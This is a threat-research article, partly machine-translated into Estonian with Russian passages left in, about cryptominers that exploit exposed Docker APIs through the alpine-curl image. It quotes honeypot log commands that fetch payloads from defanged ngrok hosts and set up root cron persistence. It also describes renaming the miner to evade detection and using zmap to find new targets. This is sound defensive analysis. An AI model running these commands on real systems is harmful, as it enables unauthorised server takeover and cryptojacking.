
Analüüsisime meepotikonteinerite abil kogutud andmeid, mille lõime ohtude jälgimiseks. Ja tuvastasime märkimisväärse tegevuse soovimatute või volitamata krüptovaluuta kaevandajate poolt, kes kasutasid Docker Hubis kogukonna avaldatud pilti võltskonteineritena. Pilti kasutatakse osana teenusest, mis pakub pahatahtlikke krüptovaluutakaevureid.
Lisaks on installitud võrkudega töötamiseks mõeldud programmid, et tungida avatud naaberkonteinerite ja rakenduste sisse.
Jätame oma meepotid nii nagu on, st vaikesätetega, ilma igasuguste turvameetmeteta või hilisema lisatarkvara installimiseta. Pange tähele, et Dockeril on soovitused esialgseks seadistamiseks, et vältida vigu ja lihtsaid turvaauke. Kuid kasutatavad meepotid on konteinerid, mis on loodud konteineriplatvormi, mitte konteinerite sees olevate rakenduste vastu suunatud rünnakute tuvastamiseks.
Avastatud pahatahtlik tegevus on tähelepanuväärne ka seetõttu, et see ei nõua turvaauke ja on samuti Dockeri versioonist sõltumatu. Valesti konfigureeritud ja seetõttu avatud konteineri kujutise leidmine on ainus, mida ründajad vajavad paljude avatud serverite nakatamiseks.
Sulgemata Dockeri API võimaldab kasutajal teha mitmesuguseid toiminguid , sealhulgas töötavate konteinerite loendi hankimine, logide hankimine konkreetsest konteinerist, käivitamine, peatamine (sealhulgas sunnitud) ja isegi uue konteineri loomine konkreetsest pildist koos määratud sätetega.

Vasakul on pahavara edastamise viis. Paremal on ründaja keskkond, mis võimaldab piltide kaugjuurdepääsu.

3762 avatud Dockeri API jaotus riigiti. Põhineb Shodani otsingul 12.02.2019
Rünnakeketi ja kandevõime valikud
Pahatahtlikku tegevust ei tuvastatud mitte ainult meepottide abil. Shodani andmed näitavad, et avatud Dockeri API-de arv (vt teist graafikut) on suurenenud pärast seda, kui uurisime valesti konfigureeritud konteinerit, mida kasutati sillana Monero krüptovaluuta kaevandamise tarkvara juurutamiseks. Eelmise aasta oktoobris (2018, jooksvad andmed u. tõlkija) oli ainult 856 avatud API-d.
Meepoti logide uurimine näitas, et konteineri kujutiste kasutamine oli seotud ka kasutamisega , tööriist turvaliste ühenduste loomiseks või liikluse edastamiseks avalikult juurdepääsetavatest punktidest määratud aadressidele või ressurssidele (nt localhost). See võimaldab ründajatel dünaamiliselt luua URL-e, kui nad edastavad kasuliku koormuse avatud serverisse. Allpool on koodinäited logidest, mis näitavad ngrok-teenuse kuritarvitamist:
Tty: false
Command: “-c curl –retry 3 -m 60 -o /tmp9bedce/tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d ”hxxp://12f414f1[.]ngrok[.]io/f/serve?l=d&r=ce427fe0eb0426d997cb0455f9fbd283”;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d” >/tmp9bedce/etc/crontab;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d” >/tmp9bedce/etc/cron.d/1m;chroot /tmp9bedce sh -c ”cron || crond””,
Entrypoint: “/bin/sh”
Tty: false,
Command: “-c curl –retry 3 -m 60 -o /tmp570547/tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d ”hxxp://5249d5f6[.]ngrok[.]io/f/serve?l=d&r=ce427fe0eb0426d997cb0455f9fbd283”;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d” >/tmp570547/etc/crontab;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d” >/tmp570547/etc/cron.d/1m;chroot /tmp570547 sh -c ”cron || crond””,
Entrypoint: “/bin/sh”
Tty: false,
Command: “-c curl –retry 3 -m 60 -o /tmp326c80/tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed ”hxxp://b27562c1[.]ngrok[.]io/f/serve?l=d&r=ce427fe0eb0426d9aa8e1b9ec086e4ee”;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed” >/tmp326c80/etc/crontab;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed” >/tmp326c80/etc/cron.d/1m;chroot /tmp326c80 sh -c ”cron || crond””,
Entrypoint: “/bin/sh”,
Tty: false,
Cmd: “-c curl –retry 3 -m 60 -o /tmp8b9b5b/tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed ”hxxp://f30c8cf9[.]ngrok[.]io/f/serve?l=d&r=ce427fe0eb0426d9aa8e1b9ec086e4ee”;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed” >/tmp8b9b5b/etc/crontab;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed” >/tmp8b9b5b/etc/cron.d/1m;chroot /tmp8b9b5b sh -c ”cron || crond””,
Entrypoint: “/bin/sh”Nagu näete, laaditakse üleslaaditud failid alla pidevalt muutuvatelt URL-idelt. Nendel URL-idel on lühike aegumiskuupäev, seega ei saa kasulikke koormusi pärast aegumiskuupäeva alla laadida.
Есть два варианта полезной нагрузки. Первый — скомпилированный майнер в формате ELF для Linux (определяемый как Coinminer.SH.MALXMR.ATNO), который подключается к пулу для майнинга. Второй — скрипт (TrojanSpy.SH.ZNETMAP.A), предназначенный для получения определенных сетевых инструментов, используемых для сканирования сетевых диапазонов и последующего поиска новых целей.
Tilguti skript määrab kaks muutujat, mida seejärel kasutatakse krüptovaluuta kaevandaja juurutamiseks. Muutuja HOST sisaldab URL-i, kus pahatahtlikud failid asuvad, ja RIP-muutuja on juurutatava kaevandaja failinimi (tegelikult räsi). Muutuja HOST muutub iga kord, kui räsimuutuja muutub. Skript püüab ka kontrollida, et rünnatud serveris ei töötaks ühtegi teist krüptoraha kaevandajat.

Näited muutujatest HOST ja RIP, samuti koodilõik, mida kasutatakse kontrollimaks, et ükski teine kaevur ei tööta
Прежде чем запускать майнер, он переименовывается в nginx. Другие версии этого скрипта переименовывают майнер в другие легитимные сервисы, которые могут присутствовать в окружениях Linux. Этого обычно достаточно для обхода проверок по списку запущенных процессов.
Otsinguskriptil on ka funktsioone. See töötab vajalike tööriistade juurutamiseks sama URL-i teenusega. Nende hulgas on kahendfail zmap, mida kasutatakse võrkude skannimiseks ja avatud portide loendi hankimiseks. Skript laadib ka teise binaarfaili, mida kasutatakse leitud teenustega suhtlemiseks ja nendelt bännerite vastuvõtmiseks, et määrata leitud teenuse (näiteks selle versiooni) kohta lisateavet.
Skript määrab eelnevalt ka mõned skannitavad võrguvahemikud, kuid see sõltub skripti versioonist. Samuti määrab see enne skannimise käivitamist teenuste – antud juhul Dockeri – sihtpordid.
Как только найдены предполагаемые цели — автоматически из них снимаются баннеры. Скрипт также фильтрует цели в зависимости от интересующих его сервисов, приложений, компонентов или платформ: Redis, Jenkins, Drupal, MODX, , Docker 1.16 klient ja Apache CouchDB. Kui skannitud server ühtib mõnega neist, salvestatakse see tekstifaili, mida ründajad saavad hiljem kasutada hilisemaks analüüsiks ja häkkimiseks. Need tekstifailid laaditakse dünaamiliste linkide kaudu üles ründajate serveritesse. See tähendab, et iga faili jaoks kasutatakse eraldi URL-i, mis tähendab, et edasine juurdepääs on keeruline.
Rünnakuvektor on Dockeri kujutis, nagu on näha kahest järgmisest koodiosast.

Ülaosas on ümbernimetamine seaduslikuks teenuseks ja allosas on see, kuidas zmapi kasutatakse võrkude skannimiseks

Ülaosas on eelnevalt määratletud võrguvahemikud, allosas on konkreetsed pordid teenuste, sealhulgas Dockeri otsimiseks

Ekraanipilt näitab, et alpi-lokki pilti on alla laaditud rohkem kui 10 miljonit korda
На основе Alpine Linux и curl, ресурсоэффективного инструмента CLI для передачи файлов по различным протоколам, можно собрать . Nagu eelmisel pildil näha, on seda pilti alla laaditud juba üle 10 miljoni korra. Suur allalaadimiste arv võib tähendada selle pildi kasutamist sisestuspunktina; seda pilti värskendati rohkem kui kuus kuud tagasi; kasutajad ei laadinud sellest hoidlast teisi pilte nii sageli alla. Dockeris - juhiste komplekt, mida kasutatakse konteineri konfigureerimiseks selle käitamiseks. Kui sisestuspunkti seaded on valed (näiteks konteiner jäetakse internetist lahti), saab pilti kasutada ründevektorina. Ründajad saavad seda kasutada kasuliku koorma kohaletoimetamiseks, kui nad leiavad valesti konfigureeritud või avatud konteineri, mida ei toetata.
Oluline on märkida, et see pilt (alpine-curl) ise ei ole pahatahtlik, kuid nagu ülalt näha, saab seda kasutada pahatahtlike funktsioonide täitmiseks. Sarnaseid Dockeri pilte saab kasutada ka pahatahtlike toimingute tegemiseks. Võtsime Dockeriga ühendust ja tegime nendega selles küsimuses koostööd.
Soovitused
jäänused paljudele ettevõtetele, eriti nendele, kes seda rakendavad , mis on keskendunud kiirele arengule ja tarnimisele. Kõike raskendab vajadus järgida auditeerimis- ja järelevalvereegleid, vajadus jälgida andmete konfidentsiaalsust, aga ka nende mittejärgimisest tulenev tohutu kahju. Turbeautomaatika kaasamine arenduse elutsüklisse mitte ainult ei aita teil leida turvaauke, mis muidu võiksid avastamata jääda, vaid aitab teil ka vähendada tarbetut töökoormust, näiteks käivitada pärast rakenduse juurutamist iga avastatud haavatavuse või vale konfiguratsiooni jaoks täiendavaid tarkvaraversioone.
Käesolevas artiklis käsitletud juhtum rõhutab vajadust võtta algusest peale arvesse ohutust, sealhulgas järgmisi soovitusi:
- Süsteemiadministraatoritele ja arendajatele: kontrollige alati oma API sätteid ja veenduge, et kõik on seadistatud vastu võtma ainult konkreetse serveri või sisevõrgu päringuid.
- Järgige vähimate õiguste põhimõtet: tagage konteineri kujutiste allkirjastamine ja kontrollimine, piirake juurdepääsu kriitilistele komponentidele (konteineri käivitamise teenus) ja lisage võrguühendustele krüpteering.
- Jälgi ja võimaldama turvamehhanisme, nt. ja sisseehitatud .
- Kasutage käitusaegade ja piltide automaatset skannimist, et hankida konteineris töötavate protsesside kohta lisateavet (nt võltsimise tuvastamiseks või haavatavuste otsimiseks). Rakenduste juhtimine ja terviklikkuse jälgimine aitavad jälgida serverite, failide ja süsteemialade ebatavalisi muutusi.
Trendmicro aitab DevOpsi meeskondadel turvaliselt ehitada, kiiresti levitada ja kõikjal käivitada. Trend Micro Pakub võimsat, sujuvamat ja automatiseeritud turvalisust kogu organisatsiooni DevOpsi torujuhtmes ning pakub mitmeid ohukaitsevahendeid füüsilise, virtuaalse ja pilve töökoormuse kaitsmiseks käitusajal. See lisab ka konteineri turvalisust и , mis skannivad Dockeri konteineri kujutisi pahavara ja haavatavuste suhtes arendusprotsessi mis tahes punktis, et ennetada ohte enne nende juurutamist.
Kompromissi märgid
Seotud räsid:
- 54343fd1555e1f72c2c1d30369013fb40372a88875930c71b8c3a23bbe5bb15e (Coinminer.SH.MALXMR.ATNO)
- f1e53879e992771db6045b94b3f73d11396fbe7b3394103718435982a7161228 (TrojanSpy.SH.ZNETMAP.A)
Edasi Harjutavad kõlarid näitavad, millised seadistused tuleb kõigepealt teha, et minimeerida tõenäosust või täielikult vältida ülalkirjeldatud olukorra tekkimist. Ja 19.-21.augustil online intensiivil Neid ja sarnaseid turvaprobleeme saab kolleegide ja praktiseerivate õpetajatega arutada ümarlauas, kus kõik saavad kaasa rääkida ja kuulata kogenud kolleegide valusid ja kordaminekuid.
Allikas: www.habr.com
